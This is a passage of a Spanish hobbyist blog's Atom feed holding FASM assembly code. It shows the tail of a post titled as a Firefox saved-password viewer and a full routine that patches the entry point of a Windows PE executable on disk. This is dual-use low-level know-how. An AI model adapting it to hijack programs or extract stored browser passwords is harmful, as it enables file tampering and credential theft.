&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Zerar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Puntero&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Cantidad&lt;br&gt;&amp;nbsp;&lt;br&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Cantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Puntero&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;loop&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt; &amp;nbsp; section &lt;span style="color: rgb(127, 0, 127);"&gt;'.idata'&lt;/span&gt; import &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;data&lt;/span&gt; readable writeable&lt;br&gt; &amp;nbsp; library kernel32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'kernel32.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;user32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'user32.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;msvcrt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'msvcrt.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;shell32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'shell32.dll'&lt;/span&gt;&lt;br&gt; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'api/kernel32.inc'&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'api/user32.inc'&lt;/span&gt;&lt;br&gt;import msvcrt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"printf"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;system&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"system"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'api/shell32.inc'&lt;/span&gt;&lt;br&gt;section &lt;span style="color: rgb(127, 0, 127);"&gt;'.reloc'&lt;/span&gt; fixups &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;data&lt;/span&gt; discardable&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-7250800578836646178?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/7250800578836646178/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=7250800578836646178&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/7250800578836646178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/7250800578836646178'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/05/visor-de-claves-de-el-firefoxprovado.html' title='Visor de claves de el firefox(provado con 3.0.10 )'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-4743963511553634332</id><published>2009-05-01T11:32:00.000-07:00</published><updated>2009-05-01T11:33:52.490-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>ChangeEntryPoint</title><content type='html'>&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br /&gt;INVALID_FILE_SIZE = &lt;span style="color: rgb(0, 0, 255);"&gt;0xffffffff&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br /&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; ChangeEntryPoint&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"c:\Arreglado.exe"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;$&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Ocurrio un error al intentar cambiar el Entry Point"&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"El Entry Point a sido cambiado"&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; ChangeEntryPoint&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Path&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;NewEP&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;DWORD&lt;/span&gt;&lt;br /&gt;locals&lt;br /&gt;Handle &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;Tamaño &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;Emezeta &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;cantidad &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;endl&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt;  CreateFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Path&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; GENERIC_READ&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; OPEN_EXISTING&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;    &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Abrimos el archivo para lectura&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;INVALID_HANDLE_VALUE&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;error&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Handle&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;                                     &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Guardamos el handle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt;  GetFileSize&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;                         &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Vemos el tamaño&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;INVALID_FILE_SIZE&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;error&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Tamaño&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt;  GlobalAlloc&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; GPTR&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Emezeta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt;  ReadFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Handle&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Emezeta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Tamaño&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; cantidad&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;     &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Leemos el archivo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;TRUE&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;error&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CloseHandle&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Handle&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;     &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Cerramos el handle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;NULL&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;error&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Emezeta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;word&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"MZ"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;error&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;03ch&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;word&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"PE"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;error&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;NewEP&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;28h&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;      &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Cambiamos el EP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CreateFileA&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Path&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; GENERIC_WRITE&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; CREATE_ALWAYS&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;    &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Creamos el archivo borrando el anterior&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;INVALID_HANDLE_VALUE&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;error&lt;/span&gt;&lt;br /&gt;              &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Handle&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;               &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Escibimos el archivo&lt;/span&gt;&lt;br /&gt;               &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Handle&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Emezeta&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Tamaño&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; cantidad&lt;span style="color: rgb(51, 153, 